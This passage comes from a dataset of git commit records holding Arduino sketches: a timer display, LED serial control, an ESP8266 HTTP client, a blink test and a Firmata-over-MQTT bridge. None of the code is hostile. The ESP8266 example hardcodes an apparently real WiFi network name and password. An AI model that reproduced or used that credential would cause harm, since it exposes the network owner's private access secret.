{\n display.drawBitmap(0, 20, lampIcon24, 24, 24, WHITE);\n\n display.setTextSize(3);\n display.setTextColor(WHITE);\n display.setTextWrap(false);\n\n display.setCursor(30,23);\n\n \/\/ Not initialized\n if (enteredTime == 0 && exitedTime == 0) {\n display.print(\"--:--\");\n return;\n }\n\n if (enteredTime < exitedTime) {\n display.print(\"--:--\");\n } else {\n int timeNow = Time.now();\n int timeDiff = timeNow - enteredTime;\n int minutes = timeDiff \/ 60;\n\n \/\/ Hours\n display.print(String::format(\"%02d\", minutes \/ 60));\n\n if (timeNow % 2 == 0) {\n display.print(\":\");\n } else {\n display.print(\" \");\n }\n\n \/\/ Minutes\n display.print(String::format(\"%02d\", minutes % 60));\n }\n}\n\nvoid printExitTime() {\n display.drawBitmap(0, 56, logoutIcon, 8, 8, WHITE);\n\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setTextWrap(false);\n\n display.setCursor(10, 56);\n\n if (exitedTime == 0) {\n display.print(\"--:--\");\n } else {\n display.print(Time.format(exitedTime, \"%H:%M\"));\n }\n}\n\nvoid printTemperature() {\n display.drawBitmap(88, 56, tempIcon, 8, 8, WHITE);\n\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setTextWrap(false);\n\n display.setCursor(98, 56);\n\n if (lastWeatherUpdate == 0) {\n display.print(\"-.-\");\n } else {\n \/\/ display.print(String::format(\"%+5.1f\", tempHRO));\n display.print(String::format(\"%+3.0f%cC\", tempHRO, char(247)));\n \/\/display.print(tempHRO);\n }\n}\n\n\/*\n* HELPER METHODS\n*\/\nvoid toggleModeLED() {\n digitalWrite(LED_MODE, !digitalRead(LED_MODE));\n}\n\nvoid setModeLED(bool isOn) {\n digitalWrite(LED_MODE, isOn);\n}\n\nint loadEEPROM(int address) {\n int tmpVal;\n EEPROM.get(address, tmpVal);\n return tmpVal;\n}\n\nvoid setEnteredTime(long timeInSeconds) {\n if (timeInSeconds > 1483228800 && timeInSeconds < 4102444800) {\n enteredTime = timeInSeconds;\n EEPROM.put(ENTER_ADDR, enteredTime);\n }\n enteredTimeStr = Time.format(enteredTime, TIME_FORMAT_DEFAULT);\n}\n\nvoid setExitedTime(long timeInSeconds) {\n if (timeInSeconds > 1483228800 && timeInSeconds < 4102444800) {\n exitedTime = timeInSeconds;\n EEPROM.put(EXIT_ADDR, exitedTime);\n }\n exitedTimeStr = Time.format(exitedTime, TIME_FORMAT_DEFAULT);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'iwork.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7952cba274567782f929aa49bcec27fac7effa60","subject":"Arduino\u7528\u306e\u30b5\u30f3\u30d7\u30eb\u3092\u8ffd\u52a0","message":"Arduino\u7528\u306e\u30b5\u30f3\u30d7\u30eb\u3092\u8ffd\u52a0\n","repos":"usopyon\/bottle_serial","old_file":"arduino_sample.ino","new_file":"arduino_sample.ino","new_contents":"byte c = 0;\n\nvoid setup(){\n Serial.begin(9600);\n pinMode(13,OUTPUT);\n}\n\nvoid loop(){\n while (Serial.available()){\n c = (int)Serial.read();\n \/\/Serial.flush();\n switch(c){\n case 48:\/\/0\n digitalWrite(13,LOW);\n break;\n case 49:\/\/1\n digitalWrite(13,HIGH);\n break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_sample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"36bd7b1876dd5ead17180cd288357fc9852663e2","subject":"Initial commit of code","message":"Initial commit of code\n","repos":"Hieromon\/ESP8266","old_file":"examples\/httpClient.ino","new_file":"examples\/httpClient.ino","new_contents":"#include \"Arduino.h\"\n#include \"ESP8266.h\"\n\/\/ If SOFTWARSERIAL or DebugSerial is applied,\n\/\/ requires declaration of SortwareSerial.h\n#include \"SoftwareSerial.h\"\nSoftwareSerial\tDebugSerial(8, 9);\n\n#define SSID\t\"WARPSTAR-9FD487-G\"\n#define PWD\t\t\"BC5457B5C4E0A\"\n\nvoid setup() {\n\tchar\t*ipAddress, ap[31];\n\n\tDebugSerial.begin(9600);\n\tDebugSerial.println(F(\"Setup\"));\n\tif (WiFi.reset(WIFI_RESET_HARD))\n\t\tDebugSerial.println(F(\"reset Complete\"));\n\telse {\n\t\tDebugSerial.println(F(\"reset fail\"));\n\t\twhile (1);\n\t}\n\tif (WiFi.begin(9600)) {\n\t\tif (WiFi.setup(WIFI_CONN_CLIENT, WIFI_PRO_TCP, WIFI_MUX_SINGLE) != WIFI_ERR_OK) {\n\t\t\tDebugSerial.println(F(\"setup fail\"));\n\t\t\twhile (1);\n\t\t}\n\t} else {\n\t\tDebugSerial.println(F(\"begin fail\"));\n\t\twhile (1);\n\t}\n\tif (WiFi.join(SSID, PWD) == WIFI_ERR_OK) {\n\t\tipAddress = WiFi.ip(WIFI_MODE_STA);\n\t\tDebugSerial.print(F(\"\\n\\rIP address:\"));\n\t\tDebugSerial.print(ipAddress);\n\t\tDebugSerial.print(':');\n\t\tif (WiFi.isConnect(ap))\n\t\t\tDebugSerial.println(ap);\n\t\telse\n\t\t\tDebugSerial.println(F(\"not found\"));\n\t} else {\n\t\tDebugSerial.println(F(\"connect fail\"));\n\t\twhile (1);\n\t}\n}\n\nvoid loop() {\n\tif (WiFi.connect((char *)\"www.google.co.jp\", 80) == WIFI_ERR_CONNECT) {\n\t\tDebugSerial.println(F(\"Send Start\"));\n\t\tif (WiFi.send((const uint8_t *)\"GET \/ HTTP\/1.1\\r\\n\\r\\n\") == WIFI_ERR_OK) {\n\t\t\tint16_t\tc;\n\t\t\tuint16_t len = WiFi.listen(10000UL);\n\t\t\tDebugSerial.print(F(\"\\nRCV:\"));\n\t\t\tDebugSerial.print(len);\n\t\t\tDebugSerial.print(F(\"-->\"));\n\t\t\twhile (len)\n\t\t\t\tif ((c = WiFi.read()) > 0) {\n\t\t\t\t\tDebugSerial.write((char)c);\n\t\t\t\t\tlen--;\n\t\t\t\t}\n\t\t\tDebugSerial.println(F(\"<--RCV\"));\n\t\t} else {\n\t\t\tDebugSerial.println(F(\"Send fail\"));\n\t\t}\n\t\tWiFi.close();\n\t} else {\n\t\tDebugSerial.println(F(\"TCP connect fail\"));\n\t}\n\tWiFi.disconnect();\n\twhile (1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/httpClient.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"934c9876fb9beefd2e8965fe7ab2fdcc806f9564","subject":"Blink test","message":"Blink test\n","repos":"dkuulis\/folkrace,dkuulis\/folkrace","old_file":"utils\/blink\/blink.ino","new_file":"utils\/blink\/blink.ino","new_contents":"\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ Pin 11 has the LED on Teensy 2.0\n\/\/ Pin 6 has the LED on Teensy++ 2.0\n\/\/ Pin 13 has the LED on Teensy 3.0\n\n#define LED 13\n#define PULSE 200\n\nvoid setup()\n{\n \/\/ initialize the digital pin as an output.\n pinMode(LED, OUTPUT);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop()\n{\n digitalWrite(LED, HIGH);\n delay(PULSE);\n digitalWrite(LED, LOW);\n delay(PULSE);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'utils\/blink\/blink.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"56a28848a0eb50f106fccce49613210f2b072d57","subject":"added a firmata cc3000 sketch","message":"added a firmata cc3000 sketch\n","repos":"octoblu\/microblu_mqtt","old_file":"examples\/skynetim_mqtt_StandardFirmata_cc3000_ino\/skynetim_mqtt_StandardFirmata_cc3000_ino.ino","new_file":"examples\/skynetim_mqtt_StandardFirmata_cc3000_ino\/skynetim_mqtt_StandardFirmata_cc3000_ino.ino","new_contents":"\/*\n * SSSSS kk tt\n * SS kk kk yy yy nn nnn eee tt\n * SSSSS kkkkk yy yy nnn nn ee e tttt\n * SS kk kk yyyyyy nn nn eeeee tt\n * SSSSS kk kk yy nn nn eeeee tttt\n * yyyyy\n *\n * SkynetClient for http:\/\/skynet.im, OPEN COMMUNICATIONS NETWORK & API FOR\n * THE INTERNET OF THINGS.\n *\n * This sketch uses the MQTT library to bridge firmata to skynet. You can then turn pins\n * off and on remotely, and much much more. To drive from Node.js and Skynet see:\n * https:\/\/github.com\/octoblu\/serial\/tree\/master\/examples\/firmata\/SkynetSerial\n *\n * Requires the MQTT library from Nick O'Leary http:\/\/knolleary.net\/arduino-client-for-mqtt\/\n *\n * Should work with any cc3000 shield or breakout like Adafruit or Sparkfun:\n * https:\/\/www.sparkfun.com\/products\/12071\n *\n * However no matter which you choose, we have a requirement on the Sparkfun\n * library: https:\/\/github.com\/sparkfun\/SFE_CC3000_Library\/\n *\n * Remember not to mess with cc3000's unavailable pins (11, 12, 13 and whatever you set below)\n *\n * You will notice we're using F() in Serial.print. It is covered briefly on\n * the arduino print page but it means we can store our strings in program\n * memory instead of in ram.\n *\n *\/\n\n#include <SPI.h>\n#include <SFE_CC3000.h>\n#include <SFE_CC3000_Client.h>\n#include <PubSubClient.h>\n#include <StreamBuffer.h>\n#include <ringbuffer.h>\n#include <b64.h>\n#include <Servo.h>\n#include <Wire.h>\n#include <Firmata.h>\n\n\/\/ Define your shields pins\n#define CC3000_INT 2 \/\/ Needs to be an interrupt pin (D2\/D3) \/\/Adafruit is 3\n#define CC3000_EN 7 \/\/ Can be any digital pin \/\/Adafruit is 5\n#define CC3000_CS 10 \/\/ Preferred is pin 10 on Uno\n\nringbuffer write(150); \/\/firmata out - Capabilities Response requires ~150 on Uno\nringbuffer read(50); \/\/firmata in - min 67% of biggest incoming firmata b64 string \n\nStreamBuffer stream(write, read);\nStreamBuffer externalaccess(read, write);\n\nchar ssid[] = \"yournetworkname\"; \/\/ your network SSID (name)\nchar pass[] = \"yourpassword\"; \/\/ your WPA network password\nunsigned int ap_security = WLAN_SEC_WPA2; \/\/ Security of network\nunsigned int timeout = 30000; \/\/ Milliseconds\n\nchar server[] = \"skynet.im\";\n\n\/\/Your 'firmware' type UUID and token for skynet.im TODO where to get one\nchar UUID[] = \"XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\";\nchar TOKEN[] = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\";\n\nSFE_CC3000 wifi = SFE_CC3000(CC3000_INT, CC3000_EN, CC3000_CS);\nSFE_CC3000_Client client = SFE_CC3000_Client(wifi);\nPubSubClient skynet(server, 1883, onMessage, client);\n\n\/\/ move the following defines to Firmata.h?\n#define I2C_WRITE B00000000\n#define I2C_READ B00001000\n#define I2C_READ_CONTINUOUSLY B00010000\n#define I2C_STOP_READING B00011000\n#define I2C_READ_WRITE_MODE_MASK B00011000\n#define I2C_10BIT_ADDRESS_MODE_MASK B00100000\n\n#define MAX_QUERIES 8\n#define MINIMUM_SAMPLING_INTERVAL 10\n\n#define REGISTER_NOT_SPECIFIED -1\n\n\/*==============================================================================\n * GLOBAL VARIABLES\n *============================================================================*\/\n\n\/* analog inputs *\/\nint analogInputsToReport = 0; \/\/ bitwise array to store pin reporting\n\n\/* digital input ports *\/\nbyte reportPINs[TOTAL_PORTS]; \/\/ 1 = report this port, 0 = silence\nbyte previousPINs[TOTAL_PORTS]; \/\/ previous 8 bits sent\n\n\/* pins configuration *\/\nbyte pinConfig[TOTAL_PINS]; \/\/ configuration of every pin\nbyte portConfigInputs[TOTAL_PORTS]; \/\/ each bit: 1 = pin in INPUT, 0 = anything else\nint pinState[TOTAL_PINS]; \/\/ any value that has been written\n\n\/* timer variables *\/\nunsigned long currentMillis; \/\/ store the current value from millis()\nunsigned long previousMillis; \/\/ for comparison with currentMillis\nint samplingInterval = 19; \/\/ how often to run the main loop (in ms)\n\n\/* i2c data *\/\nstruct i2c_device_info {\n byte addr;\n byte reg;\n byte bytes;\n};\n\n\/* for i2c read continuous more *\/\ni2c_device_info query[MAX_QUERIES];\n\nbyte i2cRxData[32];\nboolean isI2CEnabled = false;\nsigned char queryIndex = -1;\nunsigned int i2cReadDelayTime = 0; \/\/ default delay time between i2c read request and Wire.requestFrom()\n\nServo servos[MAX_SERVOS];\n\n\/*==============================================================================\n * FUNCTIONS\n *============================================================================*\/\n\nvoid readAndReportData(byte address, int theRegister, byte numBytes) {\n \/\/ allow I2C requests that don't require a register read\n \/\/ for example, some devices using an interrupt pin to signify new data available\n \/\/ do not always require the register read so upon interrupt you call Wire.requestFrom() \n if (theRegister != REGISTER_NOT_SPECIFIED) {\n Wire.beginTransmission(address);\n #if ARDUINO >= 100\n Wire.write((byte)theRegister);\n #else\n Wire.send((byte)theRegister);\n #endif\n Wire.endTransmission();\n \/\/ do not set a value of 0\n if (i2cReadDelayTime > 0) {\n \/\/ delay is necessary for some devices such as WiiNunchuck\n delayMicroseconds(i2cReadDelayTime);\n }\n } else {\n theRegister = 0; \/\/ fill the register with a dummy value\n }\n\n Wire.requestFrom(address, numBytes); \/\/ all bytes are returned in requestFrom\n\n \/\/ check to be sure correct number of bytes were returned by slave\n if(numBytes == Wire.available()) {\n i2cRxData[0] = address;\n i2cRxData[1] = theRegister;\n for (int i = 0; i < numBytes; i++) {\n #if ARDUINO >= 100\n i2cRxData[2 + i] = Wire.read();\n #else\n i2cRxData[2 + i] = Wire.receive();\n #endif\n }\n }\n else {\n if(numBytes > Wire.available()) {\n Firmata.sendString(\"ERR\"); \/\/JJR\n } else {\n Firmata.sendString(\"ERR\"); \/\/JJR\n }\n }\n\n \/\/ send slave address, register and received bytes\n Firmata.sendSysex(SYSEX_I2C_REPLY, numBytes + 2, i2cRxData);\n}\n\nvoid outputPort(byte portNumber, byte portValue, byte forceSend)\n{\n \/\/ pins not configured as INPUT are cleared to zeros\n portValue = portValue & portConfigInputs[portNumber];\n \/\/ only send if the value is different than previously sent\n if(forceSend || previousPINs[portNumber] != portValue) {\n Firmata.sendDigitalPort(portNumber, portValue);\n previousPINs[portNumber] = portValue;\n }\n}\n\n\/* -----------------------------------------------------------------------------\n * check all the active digital inputs for change of state, then add any events\n * to the Serial output queue using Serial.print() *\/\nvoid checkDigitalInputs(void)\n{\n \/* Using non-looping code allows constants to be given to readPort().\n * The compiler will apply substantial optimizations if the inputs\n * to readPort() are compile-time constants. *\/\n if (TOTAL_PORTS > 0 && reportPINs[0]) outputPort(0, readPort(0, portConfigInputs[0]), false);\n if (TOTAL_PORTS > 1 && reportPINs[1]) outputPort(1, readPort(1, portConfigInputs[1]), false);\n if (TOTAL_PORTS > 2 && reportPINs[2]) outputPort(2, readPort(2, portConfigInputs[2]), false);\n if (TOTAL_PORTS > 3 && reportPINs[3]) outputPort(3, readPort(3, portConfigInputs[3]), false);\n if (TOTAL_PORTS > 4 && reportPINs[4]) outputPort(4, readPort(4, portConfigInputs[4]), false);\n if (TOTAL_PORTS > 5 && reportPINs[5]) outputPort(5, readPort(5, portConfigInputs[5]), false);\n if (TOTAL_PORTS > 6 && reportPINs[6]) outputPort(6, readPort(6, portConfigInputs[6]), false);\n if (TOTAL_PORTS > 7 && reportPINs[7]) outputPort(7, readPort(7, portConfigInputs[7]), false);\n if (TOTAL_PORTS > 8 && reportPINs[8]) outputPort(8, readPort(8, portConfigInputs[8]), false);\n if (TOTAL_PORTS > 9 && reportPINs[9]) outputPort(9, readPort(9, portConfigInputs[9]), false);\n if (TOTAL_PORTS > 10 && reportPINs[10]) outputPort(10, readPort(10, portConfigInputs[10]), false);\n if (TOTAL_PORTS > 11 && reportPINs[11]) outputPort(11, readPort(11, portConfigInputs[11]), false);\n if (TOTAL_PORTS > 12 && reportPINs[12]) outputPort(12, readPort(12, portConfigInputs[12]), false);\n if (TOTAL_PORTS > 13 && reportPINs[13]) outputPort(13, readPort(13, portConfigInputs[13]), false);\n if (TOTAL_PORTS > 14 && reportPINs[14]) outputPort(14, readPort(14, portConfigInputs[14]), false);\n if (TOTAL_PORTS > 15 && reportPINs[15]) outputPort(15, readPort(15, portConfigInputs[15]), false);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets the pin mode to the correct state and sets the relevant bits in the\n * two bit-arrays that track Digital I\/O and PWM status\n *\/\nvoid setPinModeCallback(byte pin, int mode)\n{\n if (pinConfig[pin] == I2C && isI2CEnabled && mode != I2C) {\n \/\/ disable i2c so pins can be used for other functions\n \/\/ the following if statements should reconfigure the pins properly\n disableI2CPins();\n }\n if (IS_PIN_SERVO(pin) && mode != SERVO && servos[PIN_TO_SERVO(pin)].attached()) {\n servos[PIN_TO_SERVO(pin)].detach();\n }\n if (IS_PIN_ANALOG(pin)) {\n reportAnalogCallback(PIN_TO_ANALOG(pin), mode == ANALOG ? 1 : 0); \/\/ turn on\/off reporting\n }\n if (IS_PIN_DIGITAL(pin)) {\n if (mode == INPUT) {\n portConfigInputs[pin\/8] |= (1 << (pin & 7));\n } else {\n portConfigInputs[pin\/8] &= ~(1 << (pin & 7));\n }\n }\n pinState[pin] = 0;\n switch(mode) {\n case ANALOG:\n if (IS_PIN_ANALOG(pin)) {\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n }\n pinConfig[pin] = ANALOG;\n }\n break;\n case INPUT:\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n pinConfig[pin] = INPUT;\n }\n break;\n case OUTPUT:\n if (IS_PIN_DIGITAL(pin)) {\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable PWM\n pinMode(PIN_TO_DIGITAL(pin), OUTPUT);\n pinConfig[pin] = OUTPUT;\n }\n break;\n case PWM:\n if (IS_PIN_PWM(pin)) {\n pinMode(PIN_TO_PWM(pin), OUTPUT);\n analogWrite(PIN_TO_PWM(pin), 0);\n pinConfig[pin] = PWM;\n }\n break;\n case SERVO:\n if (IS_PIN_SERVO(pin)) {\n pinConfig[pin] = SERVO;\n if (!servos[PIN_TO_SERVO(pin)].attached()) {\n servos[PIN_TO_SERVO(pin)].attach(PIN_TO_DIGITAL(pin));\n }\n }\n break;\n case I2C:\n if (IS_PIN_I2C(pin)) {\n \/\/ mark the pin as i2c\n \/\/ the user must call I2C_CONFIG to enable I2C for a device\n pinConfig[pin] = I2C;\n }\n break;\n default:\n Firmata.sendString(\"ERR\"); \/\/ TODO: put error msgs in EEPROM \/\/JJR\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid analogWriteCallback(byte pin, int value)\n{\n if (pin < TOTAL_PINS) {\n switch(pinConfig[pin]) {\n case SERVO:\n if (IS_PIN_SERVO(pin))\n servos[PIN_TO_SERVO(pin)].write(value);\n pinState[pin] = value;\n break;\n case PWM:\n if (IS_PIN_PWM(pin))\n analogWrite(PIN_TO_PWM(pin), value);\n pinState[pin] = value;\n break;\n }\n }\n}\n\nvoid digitalWriteCallback(byte port, int value)\n{\n byte pin, lastPin, mask=1, pinWriteMask=0;\n\n if (port < TOTAL_PORTS) {\n \/\/ create a mask of the pins on this port that are writable.\n lastPin = port*8+8;\n if (lastPin > TOTAL_PINS) lastPin = TOTAL_PINS;\n for (pin=port*8; pin < lastPin; pin++) {\n \/\/ do not disturb non-digital pins (eg, Rx & Tx)\n if (IS_PIN_DIGITAL(pin)) {\n \/\/ only write to OUTPUT and INPUT (enables pullup)\n \/\/ do not touch pins in PWM, ANALOG, SERVO or other modes\n if (pinConfig[pin] == OUTPUT || pinConfig[pin] == INPUT) {\n pinWriteMask |= mask;\n pinState[pin] = ((byte)value & mask) ? 1 : 0;\n }\n }\n mask = mask << 1;\n }\n writePort(port, (byte)value, pinWriteMask);\n }\n}\n\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets bits in a bit array (int) to toggle the reporting of the analogIns\n *\/\n\/\/void FirmataClass::setAnalogPinReporting(byte pin, byte state) {\n\/\/}\nvoid reportAnalogCallback(byte analogPin, int value)\n{\n if (analogPin < TOTAL_ANALOG_PINS) {\n if(value == 0) {\n analogInputsToReport = analogInputsToReport &~ (1 << analogPin);\n } else {\n analogInputsToReport = analogInputsToReport | (1 << analogPin);\n }\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid reportDigitalCallback(byte port, int value)\n{\n if (port < TOTAL_PORTS) {\n reportPINs[port] = (byte)value;\n }\n \/\/ do not disable analog reporting on these 8 pins, to allow some\n \/\/ pins used for digital, others analog. Instead, allow both types\n \/\/ of reporting to be enabled, but check if the pin is configured\n \/\/ as analog when sampling the analog inputs. Likewise, while\n \/\/ scanning digital pins, portConfigInputs will mask off values from any\n \/\/ pins configured as analog\n}\n\n\/*==============================================================================\n * SYSEX-BASED commands\n *============================================================================*\/\n\nvoid sysexCallback(byte command, byte argc, byte *argv)\n{\n byte mode;\n byte slaveAddress;\n byte slaveRegister;\n byte data;\n unsigned int delayTime; \n \n switch(command) {\n case I2C_REQUEST:\n mode = argv[1] & I2C_READ_WRITE_MODE_MASK;\n if (argv[1] & I2C_10BIT_ADDRESS_MODE_MASK) {\n Firmata.sendString(\"ERR\"); \/\/JJR\n return;\n }\n else {\n slaveAddress = argv[0];\n }\n\n switch(mode) {\n case I2C_WRITE:\n Wire.beginTransmission(slaveAddress);\n for (byte i = 2; i < argc; i += 2) {\n data = argv[i] + (argv[i + 1] << 7);\n #if ARDUINO >= 100\n Wire.write(data);\n #else\n Wire.send(data);\n #endif\n }\n Wire.endTransmission();\n delayMicroseconds(70);\n break;\n case I2C_READ:\n if (argc == 6) {\n \/\/ a slave register is specified\n slaveRegister = argv[2] + (argv[3] << 7);\n data = argv[4] + (argv[5] << 7); \/\/ bytes to read\n readAndReportData(slaveAddress, (int)slaveRegister, data);\n }\n else {\n \/\/ a slave register is NOT specified\n data = argv[2] + (argv[3] << 7); \/\/ bytes to read\n readAndReportData(slaveAddress, (int)REGISTER_NOT_SPECIFIED, data);\n }\n break;\n case I2C_READ_CONTINUOUSLY:\n if ((queryIndex + 1) >= MAX_QUERIES) {\n \/\/ too many queries, just ignore\n Firmata.sendString(\"ERR\"); \/\/JJR\n break;\n }\n queryIndex++;\n query[queryIndex].addr = slaveAddress;\n query[queryIndex].reg = argv[2] + (argv[3] << 7);\n query[queryIndex].bytes = argv[4] + (argv[5] << 7);\n break;\n case I2C_STOP_READING:\n byte queryIndexToSkip; \n \/\/ if read continuous mode is enabled for only 1 i2c device, disable\n \/\/ read continuous reporting for that device\n if (queryIndex <= 0) {\n queryIndex = -1; \n } else {\n \/\/ if read continuous mode is enabled for multiple devices,\n \/\/ determine which device to stop reading and remove it's data from\n \/\/ the array, shifiting other array data to fill the space\n for (byte i = 0; i < queryIndex + 1; i++) {\n if (query[i].addr = slaveAddress) {\n queryIndexToSkip = i;\n break;\n }\n }\n \n for (byte i = queryIndexToSkip; i<queryIndex + 1; i++) {\n if (i < MAX_QUERIES) {\n query[i].addr = query[i+1].addr;\n query[i].reg = query[i+1].addr;\n query[i].bytes = query[i+1].bytes; \n }\n }\n queryIndex--;\n }\n break;\n default:\n break;\n }\n break;\n case I2C_CONFIG:\n delayTime = (argv[0] + (argv[1] << 7));\n\n if(delayTime > 0) {\n i2cReadDelayTime = delayTime;\n }\n\n if (!isI2CEnabled) {\n enableI2CPins();\n }\n \n break;\n case SERVO_CONFIG:\n if(argc > 4) {\n \/\/ these vars are here for clarity, they'll optimized away by the compiler\n byte pin = argv[0];\n int minPulse = argv[1] + (argv[2] << 7);\n int maxPulse = argv[3] + (argv[4] << 7);\n\n if (IS_PIN_SERVO(pin)) {\n if (servos[PIN_TO_SERVO(pin)].attached())\n servos[PIN_TO_SERVO(pin)].detach();\n servos[PIN_TO_SERVO(pin)].attach(PIN_TO_DIGITAL(pin), minPulse, maxPulse);\n setPinModeCallback(pin, SERVO);\n }\n }\n break;\n case SAMPLING_INTERVAL:\n if (argc > 1) {\n samplingInterval = argv[0] + (argv[1] << 7);\n if (samplingInterval < MINIMUM_SAMPLING_INTERVAL) {\n samplingInterval = MINIMUM_SAMPLING_INTERVAL;\n } \n } else {\n \/\/Firmata.sendString(\"Not enough data\");\n }\n break;\n case EXTENDED_ANALOG:\n if (argc > 1) {\n int val = argv[1];\n if (argc > 2) val |= (argv[2] << 7);\n if (argc > 3) val |= (argv[3] << 14);\n analogWriteCallback(argv[0], val);\n }\n break;\n case CAPABILITY_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(CAPABILITY_RESPONSE);\n for (byte pin=0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write((byte)INPUT);\n Firmata.write(1);\n Firmata.write((byte)OUTPUT);\n Firmata.write(1);\n }\n if (IS_PIN_ANALOG(pin)) {\n Firmata.write(ANALOG);\n Firmata.write(10);\n }\n if (IS_PIN_PWM(pin)) {\n Firmata.write(PWM);\n Firmata.write(8);\n }\n if (IS_PIN_SERVO(pin)) {\n Firmata.write(SERVO);\n Firmata.write(14);\n }\n if (IS_PIN_I2C(pin)) {\n Firmata.write(I2C);\n Firmata.write(1); \/\/ to do: determine appropriate value \n }\n Firmata.write(127);\n }\n Firmata.write(END_SYSEX);\n break;\n case PIN_STATE_QUERY:\n if (argc > 0) {\n byte pin=argv[0];\n Firmata.write(START_SYSEX);\n Firmata.write(PIN_STATE_RESPONSE);\n Firmata.write(pin);\n if (pin < TOTAL_PINS) {\n Firmata.write((byte)pinConfig[pin]);\n Firmata.write((byte)pinState[pin] & 0x7F);\n if (pinState[pin] & 0xFF80) Firmata.write((byte)(pinState[pin] >> 7) & 0x7F);\n if (pinState[pin] & 0xC000) Firmata.write((byte)(pinState[pin] >> 14) & 0x7F);\n }\n Firmata.write(END_SYSEX);\n }\n break;\n case ANALOG_MAPPING_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(ANALOG_MAPPING_RESPONSE);\n for (byte pin=0; pin < TOTAL_PINS; pin++) {\n Firmata.write(IS_PIN_ANALOG(pin) ? PIN_TO_ANALOG(pin) : 127);\n }\n Firmata.write(END_SYSEX);\n break;\n }\n}\n\nvoid enableI2CPins()\n{\n byte i;\n \/\/ is there a faster way to do this? would probaby require importing \n \/\/ Arduino.h to get SCL and SDA pins\n for (i=0; i < TOTAL_PINS; i++) {\n if(IS_PIN_I2C(i)) {\n \/\/ mark pins as i2c so they are ignore in non i2c data requests\n setPinModeCallback(i, I2C);\n } \n }\n \n isI2CEnabled = true; \n \n \/\/ is there enough time before the first I2C request to call this here?\n Wire.begin();\n}\n\n\/* disable the i2c pins so they can be used for other functions *\/\nvoid disableI2CPins() {\n isI2CEnabled = false;\n \/\/ disable read continuous mode for all devices\n queryIndex = -1;\n \/\/ uncomment the following if or when the end() method is added to Wire library\n \/\/ Wire.end();\n}\n\n\/*==============================================================================\n * SETUP()\n *============================================================================*\/\n\nvoid systemResetCallback()\n{\n \/\/ initialize a defalt state\n \/\/ TODO: option to load config from EEPROM instead of default\n if (isI2CEnabled) {\n disableI2CPins();\n }\n for (byte i=0; i < TOTAL_PORTS; i++) {\n reportPINs[i] = false; \/\/ by default, reporting off\n portConfigInputs[i] = 0; \/\/ until activated\n previousPINs[i] = 0;\n }\n \/\/ pins with analog capability default to analog input\n \/\/ otherwise, pins default to digital output\n for (byte i=0; i < TOTAL_PINS; i++) {\n \n \/\/ skip SPI pins for Ethernet\/Wifi Shield \/\/JJR\n if ( (i==CC3000_INT) || (i==CC3000_EN) || (i==CC3000_CS) || (i==MOSI) || (i==MISO) || (i==SCK) || (i==SS) )\n continue;\n\n if (IS_PIN_ANALOG(i)) {\n \/\/ turns off pullup, configures everything\n setPinModeCallback(i, ANALOG);\n } else {\n \/\/ sets the output to 0, configures portConfigInputs\n setPinModeCallback(i, OUTPUT);\n }\n }\n \/\/ by default, do not report any analog inputs\n analogInputsToReport = 0;\n\n \/* send digital inputs to set the initial state on the host computer,\n * since once in the loop(), this firmware will only send on change *\/\n \/*\n TODO: this can never execute, since no pins default to digital input\n but it will be needed when\/if we support EEPROM stored config\n for (byte i=0; i < TOTAL_PORTS; i++) {\n outputPort(i, readPort(i, portConfigInputs[i]), true);\n }\n *\/\n}\n\n\/\/we'll run this if anyone messages us\nvoid onMessage(char* topic, byte* payload, unsigned int length) {\n\n\/\/ \/\/ handle incoming messages, well just print it for now\n\/\/ Serial.println(topic);\n\/\/ for(int i =0; i<length; i++){\n\/\/ Serial.print((char)payload[i]);\n\/\/ } \n\/\/ Serial.println();\n\n b64::decode((char*)payload, length, externalaccess);\n\n}\n\n\nvoid setup()\n{\n\n Serial.begin(9600);\n\n \/\/ Initialize CC3000 (configure SPI communications)\n if ( wifi.init() ) {\n Serial.println(F(\"CC3000 initialization complete\"));\n } else {\n Serial.println(F(\"Something went wrong during CC3000 init!\"));\n while(1);\n }\n \n Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION);\n\n Firmata.attach(ANALOG_MESSAGE, analogWriteCallback);\n Firmata.attach(DIGITAL_MESSAGE, digitalWriteCallback);\n Firmata.attach(REPORT_ANALOG, reportAnalogCallback);\n Firmata.attach(REPORT_DIGITAL, reportDigitalCallback);\n Firmata.attach(SET_PIN_MODE, setPinModeCallback);\n Firmata.attach(START_SYSEX, sysexCallback);\n Firmata.attach(SYSTEM_RESET, systemResetCallback);\n\n Firmata.begin(stream);\n systemResetCallback(); \/\/ reset to default config\n \n}\n\nvoid loop() {\n \/\/we need to call loop for the mqtt library to do its thing and send\/receive our messages\n if(skynet.loop()){\n\n byte pin, analogPin;\n \n \/* DIGITALREAD - as fast as possible, check for changes and output them to the\n * FTDI 